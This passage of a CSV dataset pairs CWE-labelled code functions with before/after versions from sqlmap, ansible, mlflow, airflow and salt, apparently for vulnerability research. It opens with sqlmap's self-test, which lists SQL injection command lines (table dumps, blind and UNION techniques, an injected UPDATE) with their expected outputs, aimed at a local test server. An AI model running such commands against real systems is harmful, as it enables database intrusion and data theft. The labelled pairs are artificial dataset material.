        (""-u <base64> -p id --base64=id --data='base64=true' --flush-session --banner --technique=B"", (""banner: '3."",)),
        (""-u <base64> -p id --base64=id --data='base64=true' --flush-session --tables --technique=U"", ("" users "",)),
        (""-u <url> --flush-session --banner --technique=B --not-string 'no results'"", (""banner: '3."",)),
        (""-u <url> --flush-session --banner --technique=B --first=1 --last=2"", (""banner: '3.'"",)),
        (""-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner"", (""total of 2 targets"", ""might be injectable"", ""Type: UNION query"", ""banner: '3."")),
        (""-u <url> --flush-session --data='{\""id\"": 1}' --banner"", (""might be injectable"", ""3 columns"", ""Payload: {\""id\"""", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""banner: '3."")),
        (""-u <url> --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='<root><param name=\""id\"" value=\""1*\""/></root>' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5"", (""might be injectable"", ""Payload: <root><param name=\""id\"" value=\""1"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""banner: '3."", ""Nexus"", ""Sna: Fu"", ""Foo: Bar"")),
        (""-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --har=<tmp> --dump -T users --start=1 --stop=2"", (""might be injectable"", ""Parameter: id (PUT)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""2 entries"")),
        (""-u <url> --flush-session -H 'id: 1*' --tables -t <tmp>"", (""might be injectable"", ""Parameter: id #1* ((custom) HEADER)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", "" users "")),
        (""-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter='OR boolean' --tamper=space2dash"", (""banner: '3."", "" LIKE "")),
        (""-u <url> --flush-session --cookie=\""PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\"" --tables --union-cols=3"", (""might be injectable"", ""Cookie #1* ((custom) HEADER)"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", "" users "")),
        (""-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner"", (""NULL connection is supported with HEAD method"", ""banner: '3."")),
        (""-u <url> --flush-session --parse-errors --test-filter=\""subquery\"" --eval=\""import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\"" --referer=\""localhost\"""", (""might be injectable"", "": syntax error"", ""back-end DBMS: SQLite"", ""WHERE or HAVING clause (subquery"")),
        (""-u <url> --banner --schema --dump -T users --binary-fields=surname --where \""id>3\"""", (""banner: '3."", ""INTEGER"", ""TEXT"", ""id"", ""name"", ""surname"", ""2 entries"", ""6E616D6569736E756C6C"")),
        (""-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\""crack=n\"" -v 3"", (""performed 6 queries"", ""nameisnull"", ""~using default dictionary"", ""dumped to HTML file"")),
        (""-u <url> --flush-session --all"", (""5 entries"", ""Type: boolean-based blind"", ""Type: time-based blind"", ""Type: UNION query"", ""luther"", ""blisset"", ""fluffy"", ""179ad45c6ce2cb97cf1029e212046e81"", ""NULL"", ""nameisnull"", ""testpass"")),
        (""-u <url> -z \""tec=B\"" --hex --fresh-queries --threads=4 --sql-query=\""SELECT * FROM users\"""", (""SELECT * FROM users [5]"", ""nameisnull"")),
        (""-u '<url>&echo=foobar*' --flush-session"", (""might be vulnerable to cross-site scripting"",)),
        (""-u '<url>&query=*' --flush-session --technique=Q --banner"", (""Title: SQLite inline queries"", ""banner: '3."")),
        (""-d <direct> --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \""id=3\"""", (""7775"", ""179ad45c6ce2cb97cf1029e212046e81 (testpass)"", ""dumped to SQLITE database"")),
        (""-d <direct> --flush-session --banner --schema --sql-query=\""UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"""", (""banner: '3."", ""INTEGER"", ""TEXT"", ""id"", ""name"", ""surname"", ""5, foobar, nameisnull"", ""[*] 987654321"",)),
        (""--purge -v 3"", (""~ERROR"", ""~CRITICAL"", ""deleting the whole directory tree"")),
    )

    retVal = True
    count = 0
    address, port = ""127.0.0.10"", random.randint(1025, 65535)

    def _thread():
        vulnserver.init(quiet=True)
        vulnserver.run(address=address, port=port)

    thread = threading.Thread(target=_thread)
    thread.daemon = True
    thread.start()

    while True:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((address, port))
            s.send(b""GET / HTTP/1.0\r\n\r\n"")
            if b""vulnserver"" in s.recv(4096):
                break
        except:
            time.sleep(1)
        finally:
            s.close()

    handle, config = tempfile.mkstemp(suffix="".conf"")
    os.close(handle)

    handle, database = tempfile.mkstemp(suffix="".sqlite"")
    os.close(handle)

    with sqlite3.connect(database) as conn:
        c = conn.cursor()
        c.executescript(vulnserver.SCHEMA)

    handle, request = tempfile.mkstemp(suffix="".req"")
    os.close(handle)

    handle, log = tempfile.mkstemp(suffix="".log"")
    os.close(handle)

    content = ""POST / HTTP/1.0\nUser-agent: foobar\nHost: %s:%s\n\nid=1\n"" % (address, port)

    open(request, ""w+"").write(content)
    open(log, ""w+"").write('<port>%d</port><request base64=""true""><![CDATA[%s]]></request>' % (port, encodeBase64(content, binary=False)))

    url = ""http://%s:%d/?id=1"" % (address, port)
    direct = ""sqlite3://%s"" % database

    content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "".."", "".."", ""sqlmap.conf""))).read().replace(""url ="", ""url = %s"" % url)
    open(config, ""w+"").write(content)

    for options, checks in TESTS:
        status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
        dataToStdout(""\r[%s] [INFO] complete: %s"" % (time.strftime(""%X""), status))

        for tag, value in ((""<url>"", url), (""<direct>"", direct), (""<request>"", request), (""<log>"", log), (""<config>"", config), (""<base64>"", url.replace(""id=1"", ""id=MZ=%3d""))):
            options = options.replace(tag, value)

        cmd = ""%s \""%s\"" %s --batch --non-interactive --debug"" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "".."", "".."", ""sqlmap.py"")), options)

        if ""<tmp>"" in cmd:
            handle, tmp = tempfile.mkstemp()
            os.close(handle)
            cmd = cmd.replace(""<tmp>"", tmp)

        if ""<piped>"" in cmd:
            cmd = re.sub(r""<piped>\s*"", """", cmd)
            cmd = ""echo %s | %s"" % (url, cmd)

        output = shellExec(cmd)

        if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or ""unhandled exception"" in output:
            dataToStdout(""---\n\n$ %s\n"" % cmd)
            dataToStdout(""%s---\n"" % output, coloring=False)
            retVal = False

        count += 1

    clearConsoleLine()
    if retVal:
        logger.info(""vuln test final result: PASSED"")
    else:
        logger.error(""vuln test final result: FAILED"")

    return retVal"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/cli/doc.py,0,"def _get_keywords_docs(keys):

        data = {}
        descs = DocCLI._list_keywords()
        for keyword in keys:
            if keyword.startswith('with_'):
                keyword = 'loop'
            try:
                # if no desc, typeerror raised ends this block
                kdata = {'description': descs[keyword]}

                # get playbook objects for keyword and use first to get keyword attributes
                kdata['applies_to'] = []
                for pobj in PB_OBJECTS:
                    if pobj not in PB_LOADED:
                        obj_class = 'ansible.playbook.%s' % pobj.lower()
                        loaded_class = importlib.import_module(obj_class)
                        PB_LOADED[pobj] = getattr(loaded_class, pobj, None)

                    if keyword in PB_LOADED[pobj]._valid_attrs:
                        kdata['applies_to'].append(pobj)

                        # we should only need these once
                        if 'type' not in kdata:

                            fa = getattr(PB_LOADED[pobj], '_%s' % keyword)
                            if getattr(fa, 'private'):
                                kdata = {}
                                raise KeyError

                            kdata['type'] = getattr(fa, 'isa', 'string')

                            if keyword.endswith('when'):
                                kdata['template'] = 'implicit'
                            elif getattr(fa, 'static'):
                                kdata['template'] = 'static'
                            else:
                                kdata['template'] = 'explicit'

                            # those that require no processing
                            for visible in ('alias', 'priority'):
                                kdata[visible] = getattr(fa, visible)

                # remove None keys
                for k in list(kdata.keys()):
                    if kdata[k] is None:
                        del kdata[k]

                data[keyword] = kdata

            except KeyError as e:
                display.warning(""Skipping Invalid keyword '%s' specified: %s"" % (keyword, to_text(e)))

        return data",,ansible/ansible,a4021977ad46ef9991d9b41391f60d5d84137209,"def _get_keywords_docs(keys):

        data = {}
        descs = DocCLI._list_keywords()
        for keyword in keys:
            if keyword.startswith('with_'):
                keyword = 'loop'
            try:
                # if no desc, typeerror raised ends this block
                kdata = {'description': descs[keyword]}

                # get playbook objects for keyword and use first to get keyword attributes
                kdata['applies_to'] = []
                for pobj in PB_OBJECTS:
                    if pobj not in PB_LOADED:
                        obj_class = 'ansible.playbook.%s' % pobj.lower()
                        loaded_class = importlib.import_module(obj_class)
                        PB_LOADED[pobj] = getattr(loaded_class, pobj, None)

                    if keyword in PB_LOADED[pobj]._valid_attrs:
                        kdata['applies_to'].append(pobj)

                        # we should only need these once
                        if 'type' not in kdata:

                            fa = getattr(PB_LOADED[pobj], '_%s' % keyword)
                            if getattr(fa, 'private'):
                                kdata = {}
                                raise KeyError

                            kdata['type'] = getattr(fa, 'isa', 'string')

                            if keyword.endswith('when'):
                                kdata['template'] = 'implicit'
                            elif getattr(fa, 'static'):
                                kdata['template'] = 'static'
                            else:
                                kdata['template'] = 'explicit'

                            # those that require no processing
                            for visible in ('alias', 'priority'):
                                kdata[visible] = getattr(fa, visible)

                # remove None keys
                for k in list(kdata.keys()):
                    if kdata[k] is None:
                        del kdata[k]

                data[keyword] = kdata

            except KeyError as e:
                display.warning(""Skipping Invalid keyword '%s' specified: %s"" % (keyword, to_native(e)))

        return data"
,UNKNOWN,UNKNOWN,tests/spacy/test_spacy_model_export.py,1,"def test_model_export_with_schema_and_examples(spacy_model_with_data):
    spacy_model = spacy_model_with_data.model
    signature_ = infer_signature(spacy_model_with_data.inference_data)
    example_ = spacy_model_with_data.inference_data.head(3)
    for signature in (None, signature_):
        for example in (None, example_):
            with TempDir() as tmp:
                path = tmp.path(""model"")
                mlflow.spacy.save_model(
                    spacy_model, path=path, signature=signature, input_example=example
                )
                mlflow_model = Model.load(path)
                assert signature == mlflow_model.signature
                if example is None:
                    assert mlflow_model.saved_input_example_info is None
                else:
                    assert all((_read_example(mlflow_model, path) == example).all())",CWE-703,mlflow/mlflow,608aed512e10b79827a122631a35c21d7362f7b0,"def test_model_export_with_schema_and_examples(spacy_model_with_data):
    spacy_model = spacy_model_with_data.model
    signature_ = infer_signature(spacy_model_with_data.inference_data)
    example_ = spacy_model_with_data.inference_data.head(3)
    for signature in (None, signature_):
        for example in (None, example_):
            print(signature is None, example is None)
            with TempDir() as tmp:
                path = tmp.path(""model"")
                mlflow.spacy.save_model(
                    spacy_model, path=path, signature=signature, input_example=example
                )
                mlflow_model = Model.load(path)
                assert signature == mlflow_model.signature
                if example is None:
                    assert mlflow_model.saved_input_example_info is None
                else:
                    assert all((_read_example(mlflow_model, path) == example).all())"
,UNKNOWN,UNKNOWN,lib/core/option.py,1,"def _setHTTPHandlers():
    """"""
    Check and set the HTTP/SOCKS proxy for all HTTP requests.
    """"""
    global proxyHandler

    for _ in (""http"", ""https""):
        if hasattr(proxyHandler, ""%s_open"" % _):
            delattr(proxyHandler, ""%s_open"" % _)

    if conf.proxyList is not None:
        if not conf.proxyList:
            errMsg = ""list of usable proxies is exhausted""
            raise SqlmapNoneDataException(errMsg)

        conf.proxy = conf.proxyList[0]
        conf.proxyList = conf.proxyList[1:]

        infoMsg = ""loading proxy '%s' from a supplied proxy list file"" % conf.proxy
        logger.info(infoMsg)

    elif not conf.proxy:
        if conf.hostname in (""localhost"", ""127.0.0.1"") or conf.ignoreProxy:
            proxyHandler.proxies = {}

    if conf.proxy:
        debugMsg = ""setting the HTTP/SOCKS proxy for all HTTP requests""
        logger.debug(debugMsg)

        try:
            _ = _urllib.parse.urlsplit(conf.proxy)
        except Exception as ex:
            errMsg = ""invalid proxy address '%s' ('%s')"" % (conf.proxy, getSafeExString(ex))
            raise SqlmapSyntaxException(errMsg)

        hostnamePort = _.netloc.split("":"")

        scheme = _.scheme.upper()
        hostname = hostnamePort[0]
        port = None
        username = None
        password = None

        if len(hostnamePort) == 2:
            try:
                port = int(hostnamePort[1])
            except:
                pass  # drops into the next check block

        if not all((scheme, hasattr(PROXY_TYPE, scheme), hostname, port)):
            errMsg = ""proxy value must be in format '(%s)://address:port'"" % ""|"".join(_[0].lower() for _ in getPublicTypeMembers(PROXY_TYPE))
            raise SqlmapSyntaxException(errMsg)

        if conf.proxyCred:
            _ = re.search(r""\A(.*?):(.*?)\Z"", conf.proxyCred)
            if not _:
                errMsg = ""proxy authentication credentials ""
                errMsg += ""value must be in format username:password""
                raise SqlmapSyntaxException(errMsg)
            else:
                username = _.group(1)
                password = _.group(2)

        if scheme in (PROXY_TYPE.SOCKS4, PROXY_TYPE.SOCKS5):
            proxyHandler.proxies = {}

            if scheme == PROXY_TYPE.SOCKS4:
                warnMsg = ""SOCKS4 does not support resolving (DNS) names (i.e. causing DNS leakage)""
                singleTimeWarnMessage(warnMsg)

            socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if scheme == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, hostname, port, username=username, password=password)
            socks.wrapmodule(_http_client)
        else:
            socks.unwrapmodule(_http_client)

            if conf.proxyCred:
                # Reference: http://stackoverflow.com/questions/34079/how-to-specify-an-authenticated-proxy-for-a-python-http-connection
                proxyString = ""%s@"" % conf.proxyCred
            else:
                proxyString = """"

            proxyString += ""%s:%d"" % (hostname, port)
            proxyHandler.proxies = {""http"": proxyString, ""https"": proxyString}

        proxyHandler.__init__(proxyHandler.proxies)

    debugMsg = ""creating HTTP requests opener object""
    logger.debug(debugMsg)

    handlers = filter(None, [multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, chunkedHandler if conf.chunked else None, httpsHandler])

    if not conf.dropSetCookie:
        if not conf.loadCookies:
            conf.cj = _http_cookiejar.CookieJar()
        else:
            conf.cj = _http_cookiejar.MozillaCookieJar()
            resetCookieJar(conf.cj)

        handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj))

    # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html
    if conf.keepAlive:
        warnMsg = ""persistent HTTP(s) connections, Keep-Alive, has ""
        warnMsg += ""been disabled because of its incompatibility ""

        if conf.proxy:
            warnMsg += ""with HTTP(s) proxy""
            logger.warn(warnMsg)
        elif conf.authType:
            warnMsg += ""with authentication methods""
            logger.warn(warnMsg)
        else:
            handlers.append(keepAliveHandler)

    opener = _urllib.request.build_opener(*handlers)
    _urllib.request.install_opener(opener)",CWE-703,sqlmapproject/sqlmap,557da5dee44f3703d007a4d97d950c1210a72b5c,"def _setHTTPHandlers():
    """"""
    Check and set the HTTP/SOCKS proxy for all HTTP requests.
    """"""
    global proxyHandler

    for _ in (""http"", ""https""):
        if hasattr(proxyHandler, ""%s_open"" % _):
            delattr(proxyHandler, ""%s_open"" % _)

    if conf.proxyList is not None:
        if not conf.proxyList:
            errMsg = ""list of usable proxies is exhausted""
            raise SqlmapNoneDataException(errMsg)

        conf.proxy = conf.proxyList[0]
        conf.proxyList = conf.proxyList[1:]

        infoMsg = ""loading proxy '%s' from a supplied proxy list file"" % conf.proxy
        logger.info(infoMsg)

    elif not conf.proxy:
        if conf.hostname in (""localhost"", ""127.0.0.1"") or conf.ignoreProxy:
            proxyHandler.proxies = {}

    if conf.proxy:
        debugMsg = ""setting the HTTP/SOCKS proxy for all HTTP requests""
        logger.debug(debugMsg)

        try:
            _ = _urllib.parse.urlsplit(conf.proxy)
        except Exception as ex:
            errMsg = ""invalid proxy address '%s' ('%s')"" % (conf.proxy, getSafeExString(ex))
            raise SqlmapSyntaxException(errMsg)

        hostnamePort = _.netloc.split("":"")

        scheme = _.scheme.upper()
        hostname = hostnamePort[0]
        port = None
        username = None
        password = None

        if len(hostnamePort) == 2:
            try:
                port = int(hostnamePort[1])
            except:
                pass  # drops into the next check block

        if not all((scheme, hasattr(PROXY_TYPE, scheme), hostname, port)):
            errMsg = ""proxy value must be in format '(%s)://address:port'"" % ""|"".join(_[0].lower() for _ in getPublicTypeMembers(PROXY_TYPE))
            raise SqlmapSyntaxException(errMsg)

        if conf.proxyCred:
            _ = re.search(r""\A(.*?):(.*?)\Z"", conf.proxyCred)
            if not _:
                errMsg = ""proxy authentication credentials ""
                errMsg += ""value must be in format username:password""
                raise SqlmapSyntaxException(errMsg)
            else:
                username = _.group(1)
                password = _.group(2)

        if scheme in (PROXY_TYPE.SOCKS4, PROXY_TYPE.SOCKS5):
            proxyHandler.proxies = {}

            socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if scheme == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, hostname, port, username=username, password=password)
            socks.wrapmodule(_http_client)
        else:
            socks.unwrapmodule(_http_client)

            if conf.proxyCred:
                # Reference: http://stackoverflow.com/questions/34079/how-to-specify-an-authenticated-proxy-for-a-python-http-connection
                proxyString = ""%s@"" % conf.proxyCred
            else:
                proxyString = """"

            proxyString += ""%s:%d"" % (hostname, port)
            proxyHandler.proxies = {""http"": proxyString, ""https"": proxyString}

        proxyHandler.__init__(proxyHandler.proxies)

    debugMsg = ""creating HTTP requests opener object""
    logger.debug(debugMsg)

    handlers = filter(None, [multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, chunkedHandler if conf.chunked else None, httpsHandler])

    if not conf.dropSetCookie:
        if not conf.loadCookies:
            conf.cj = _http_cookiejar.CookieJar()
        else:
            conf.cj = _http_cookiejar.MozillaCookieJar()
            resetCookieJar(conf.cj)

        handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj))

    # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html
    if conf.keepAlive:
        warnMsg = ""persistent HTTP(s) connections, Keep-Alive, has ""
        warnMsg += ""been disabled because of its incompatibility ""

        if conf.proxy:
            warnMsg += ""with HTTP(s) proxy""
            logger.warn(warnMsg)
        elif conf.authType:
            warnMsg += ""with authentication methods""
            logger.warn(warnMsg)
        else:
            handlers.append(keepAliveHandler)

    opener = _urllib.request.build_opener(*handlers)
    _urllib.request.install_opener(opener)"
,UNKNOWN,UNKNOWN,tests/providers/yandex/hooks/test_yandex.py,1,"def test_client_created_without_exceptions(self, mock_get_credentials, mock_get_connection):
        """"""tests `init` method to validate client creation when all parameters are passed""""""

        default_folder_id = ""test_id""
        default_public_ssh_key = ""test_key""

        extra_dejson = '{""extras"": ""extra""}'
        mock_get_connection[""extra_dejson""] = ""sds""
        mock_get_connection.extra_dejson = '{""extras"": ""extra""}'
        mock_get_connection.return_value = mock.Mock(
            yandex_conn_id=""yandexcloud_default"", extra_dejson=extra_dejson
        )
        mock_get_credentials.return_value = {""token"": 122323}

        hook = YandexCloudBaseHook(
            yandex_conn_id=None,
            default_folder_id=default_folder_id,
            default_public_ssh_key=default_public_ssh_key,
        )
        assert hook.client is not None",CWE-703,apache/airflow,e0dd075d1b4ef48bdae5a9a690a27518e4438104,"def test_client_created_without_exceptions(self, mock_get_credentials, mock_get_connection):
        """"""tests `init` method to validate client creation when all parameters are passed""""""

        default_folder_id = ""test_id""
        default_public_ssh_key = ""test_key""

        extra_dejson = '{""extras"": ""extra""}'
        mock_get_connection[""extra_dejson""] = ""sds""
        mock_get_connection.extra_dejson = '{""extras"": ""extra""}'
        mock_get_connection.return_value = mock.Mock(
            connection_id=""yandexcloud_default"", extra_dejson=extra_dejson
        )
        mock_get_credentials.return_value = {""token"": 122323}

        hook = YandexCloudBaseHook(
            yandex_conn_id=None,
            default_folder_id=default_folder_id,
            default_public_ssh_key=default_public_ssh_key,
        )
        assert hook.client is not None"
,UNKNOWN,UNKNOWN,tests/models/test_renderedtifields.py,1,"def test_get_templated_fields(self, templated_field, expected_rendered_field, dag_maker):
        """"""
        Test that template_fields are rendered correctly, stored in the Database,
        and are correctly fetched using RTIF.get_templated_fields
        """"""
        with dag_maker(""test_serialized_rendered_fields""):
            task = BashOperator(task_id=""test"", bash_command=templated_field)
            task_2 = BashOperator(task_id=""test2"", bash_command=templated_field)
        dr = dag_maker.create_dagrun()

        session = dag_maker.session

        ti, ti2 = dr.task_instances
        ti.task = task
        ti2.task = task_2
        rtif = RTIF(ti=ti)

        assert ti.dag_id == rtif.dag_id
        assert ti.task_id == rtif.task_id
        assert ti.run_id == rtif.run_id
        assert expected_rendered_field == rtif.rendered_fields.get(""bash_command"")

        session.add(rtif)
        session.flush()

        assert RTIF.get_templated_fields(ti=ti, session=session) == {
            ""bash_command"": expected_rendered_field,
            ""env"": None,
            ""cwd"": None,
        }
        # Test the else part of get_templated_fields
        # i.e. for the TIs that are not stored in RTIF table
        # Fetching them will return None
        assert RTIF.get_templated_fields(ti=ti2) is None",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_get_templated_fields(self, templated_field, expected_rendered_field, dag_maker):
        """"""
        Test that template_fields are rendered correctly, stored in the Database,
        and are correctly fetched using RTIF.get_templated_fields
        """"""
        with dag_maker(""test_serialized_rendered_fields""):
            task = BashOperator(task_id=""test"", bash_command=templated_field)
            task_2 = BashOperator(task_id=""test2"", bash_command=templated_field)
        dr = dag_maker.create_dagrun()

        session = dag_maker.session

        ti, ti2 = dr.task_instances
        ti.task = task
        ti2.task = task_2
        rtif = RTIF(ti=ti)

        assert ti.dag_id == rtif.dag_id
        assert ti.task_id == rtif.task_id
        assert ti.run_id == rtif.run_id
        assert expected_rendered_field == rtif.rendered_fields.get(""bash_command"")

        session.add(rtif)
        session.flush()

        assert {
            ""bash_command"": expected_rendered_field,
            ""env"": None,
            ""cwd"": None,
        } == RTIF.get_templated_fields(ti=ti, session=session)
        # Test the else part of get_templated_fields
        # i.e. for the TIs that are not stored in RTIF table
        # Fetching them will return None
        assert RTIF.get_templated_fields(ti=ti2) is None"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/runner/action_plugins/copy.py,0,"def run(self, conn, tmp, module_name, module_args, inject):
        ''' handler for file transfer operations '''

        # load up options
        options = utils.parse_kv(module_args)
        source  = options.get('src', None)
        dest    = options.get('dest', None)

        if dest.endswith(""/""):
            base = os.path.basename(source)
            dest = os.path.join(dest, base)

        if (source is None and not 'first_available_file' in inject) or dest is None:
            result=dict(failed=True, msg=""src and dest are required"")
            return ReturnData(conn=conn, result=result)

        # if we have first_available_file in our vars
        # look up the files and use the first one we find as src
        if 'first_available_file' in inject:
            found = False
            for fn in inject.get('first_available_file'):
                fn = utils.template(self.runner.basedir, fn, inject)
                fn = utils.path_dwim(self.runner.basedir, fn)
                if os.path.exists(fn):
                    source = fn
                    found = True
                    break
            if not found:
                results=dict(failed=True, msg=""could not find src in first_available_file list"")
                return ReturnData(conn=conn, result=results)
        else:
            source = utils.template(self.runner.basedir, source, inject)
            source = utils.path_dwim(self.runner.basedir, source)

        local_md5 = utils.md5(source)
        if local_md5 is None:
            result=dict(failed=True, msg=""could not find src=%s"" % source)
            return ReturnData(conn=conn, result=result)

        remote_md5 = self.runner._remote_md5(conn, tmp, dest)

        exec_rc = None
        if local_md5 != remote_md5:
            # transfer the file to a remote tmp location
            tmp_src = tmp + os.path.basename(source)
            conn.put_file(source, tmp_src)
            # fix file permissions when the copy is done as a different user
            if self.runner.sudo and self.runner.sudo_user != 'root':
                self.runner._low_level_exec_command(conn, ""chmod a+r %s"" % tmp_src, tmp)

            # run the copy module
            module_args = ""%s src=%s"" % (module_args, tmp_src)
            return self.runner._execute_module(conn, tmp, 'copy', module_args, inject=inject)

        else:
            # no need to transfer the file, already correct md5, but still need to call
            # the file module in case we want to change attributes

            tmp_src = tmp + os.path.basename(source)
            module_args = ""%s src=%s"" % (module_args, tmp_src)
            return self.runner._execute_module(conn, tmp, 'file', module_args, inject=inject)",,ansible/ansible,7782923ea2efc81aac9ae5f249cfd9bd327e7d80,"def run(self, conn, tmp, module_name, module_args, inject):
        ''' handler for file transfer operations '''

        # load up options
        options = utils.parse_kv(module_args)
        source  = options.get('src', None)
        dest    = options.get('dest', None)

        if dest.endswith(""/""):
            base = os.path.basename(source)
            dest = os.path.join(dest, base)

        if (source is None and not 'first_available_file' in inject) or dest is None:
            result=dict(failed=True, msg=""src and dest are required"")
            return ReturnData(conn=conn, result=result)

        # if we have first_available_file in our vars
        # look up the files and use the first one we find as src
        if 'first_available_file' in inject:
            found = False
            for fn in inject.get('first_available_file'):
                fn = utils.template(self.runner.basedir, fn, inject)
                fn = utils.path_dwim(self.runner.basedir, fn)
                if os.path.exists(fn):
                    source = fn
                    found = True
                    break
            if not found:
                results=dict(failed=True, msg=""could not find src in first_available_file list"")
                return ReturnData(conn=conn, result=results)

        source = utils.template(self.runner.basedir, source, inject)
        source = utils.path_dwim(self.runner.basedir, source)

        local_md5 = utils.md5(source)
        if local_md5 is None:
            result=dict(failed=True, msg=""could not find src=%s"" % source)
            return ReturnData(conn=conn, result=result)

        remote_md5 = self.runner._remote_md5(conn, tmp, dest)

        exec_rc = None
        if local_md5 != remote_md5:
            # transfer the file to a remote tmp location
            tmp_src = tmp + os.path.basename(source)
            conn.put_file(source, tmp_src)
            # fix file permissions when the copy is done as a different user
            if self.runner.sudo and self.runner.sudo_user != 'root':
                self.runner._low_level_exec_command(conn, ""chmod a+r %s"" % tmp_src, tmp)

            # run the copy module
            module_args = ""%s src=%s"" % (module_args, tmp_src)
            return self.runner._execute_module(conn, tmp, 'copy', module_args, inject=inject)

        else:
            # no need to transfer the file, already correct md5, but still need to call
            # the file module in case we want to change attributes

            tmp_src = tmp + os.path.basename(source)
            module_args = ""%s src=%s"" % (module_args, tmp_src)
            return self.runner._execute_module(conn, tmp, 'file', module_args, inject=inject)"
,UNKNOWN,UNKNOWN,tests/unit/states/test_virt.py,1,"def test_pool_running(self):
        """"""
        pool_running state test cases.
        """"""
        ret = {""name"": ""mypool"", ""changes"": {}, ""result"": True, ""comment"": """"}
        mocks = {
            mock: MagicMock(return_value=True)
            for mock in [""define"", ""autostart"", ""build"", ""start"", ""stop""]
        }
        with patch.dict(virt.__opts__, {""test"": False}):
            with patch.dict(
                virt.__salt__,
                {  # pylint: disable=no-member
                    ""virt.pool_info"": MagicMock(
                        side_effect=[
                            {},
                            {""mypool"": {""state"": ""stopped"", ""autostart"": True}},
                        ]
                    ),
                    ""virt.pool_define"": mocks[""define""],
                    ""virt.pool_build"": mocks[""build""],
                    ""virt.pool_start"": mocks[""start""],
                    ""virt.pool_set_autostart"": mocks[""autostart""],
                },
            ):
                ret.update(
                    {
                        ""changes"": {
                            ""mypool"": ""Pool defined, marked for autostart, started""
                        },
                        ""comment"": ""Pool mypool defined, marked for autostart, started"",
                    }
                )
                self.assertDictEqual(
                    virt.pool_running(
                        ""mypool"",
                        ptype=""logical"",
                        target=""/dev/base"",
                        permissions={
                            ""mode"": ""0770"",
                            ""owner"": 1000,
                            ""group"": 100,
                            ""label"": ""seclabel"",
                        },
                        source={""devices"": [{""path"": ""/dev/sda""}]},
                        transient=True,
                        autostart=True,
                        connection=""myconnection"",
                        username=""user"",
                        password=""secret"",
                    ),
                    ret,
                )
                mocks[""define""].assert_called_with(
                    ""mypool"",
                    ptype=""logical"",
                    target=""/dev/base"",
                    permissions={
                        ""mode"": ""0770"",
                        ""owner"": 1000,
                        ""group"": 100,
                        ""label"": ""seclabel"",
                    },
                    source_devices=[{""path"": ""/dev/sda""}],
                    source_dir=None,
                    source_adapter=None,
                    source_hosts=None,
                    source_auth=None,
                    source_name=None,
                    source_format=None,
                    source_initiator=None,
                    transient=True,
                    start=False,
                    connection=""myconnection"",
                    username=""user"",
                    password=""secret"",
                )
                mocks[""autostart""].assert_called_with(
                    ""mypool"",
                    state=""on"",
                    connection=""myconnection"",
                    username=""user"",
                    password=""secret"",
                )
                mocks[""build""].assert_called_with(
                    ""mypool"",
                    connection=""myconnection"",
                    username=""user"",
                    password=""secret"",
                )
                mocks[""start""].assert_called_with(
                    ""mypool"",
                    connection=""myconnection"",
                    username=""user"",
                    password=""secret"",
                )

            mocks[""update""] = MagicMock(return_value=False)
            with patch.dict(
                virt.__salt__,
                {  # pylint: disable=no-member
                    ""virt.pool_info"": MagicMock(
                        return_value={""mypool"": {""state"": ""running"", ""autostart"": True}}
                    ),
                    ""virt.pool_update"": MagicMock(return_value=False),
                },
            ):
                ret.update({""changes"": {}, ""comment"": ""Pool mypool already running""})
                self.assertDictEqual(
                    virt.pool_running(
                        ""mypool"",
                        ptype=""logical"",
                        target=""/dev/base"",
                        source={""devices"": [{""path"": ""/dev/sda""}]},
                    ),
                    ret,
                )

            for mock in mocks:
                mocks[mock].reset_mock()
            with patch.dict(
                virt.__salt__,
                {  # pylint: disable=no-member
                    ""virt.pool_info"": MagicMock(
                        return_value={""mypool"": {""state"": ""stopped"", ""autostart"": True}}
                    ),
                    ""virt.pool_update"": mocks[""update""],
                    ""virt.pool_build"": mocks[""build""],
                    ""virt.pool_start"": mocks[""start""],
                },
            ):
                ret.update(
                    {
                        ""changes"": {""mypool"": ""Pool started""},
                        ""comment"": ""Pool mypool started"",
                    }
                )
                self.assertDictEqual(
                    virt.pool_running(
                        ""mypool"",
                        ptype=""logical"",
                        target=""/dev/base"",
                        source={""devices"": [{""path"": ""/dev/sda""}]},
                    ),
                    ret,
                )
                mocks[""start""].assert_called_with(
                    ""mypool"", connection=None, username=None, password=None
                )
                mocks[""build""].assert_not_called()

            with patch.dict(
                virt.__salt__,
                {  # pylint: disable=no-member
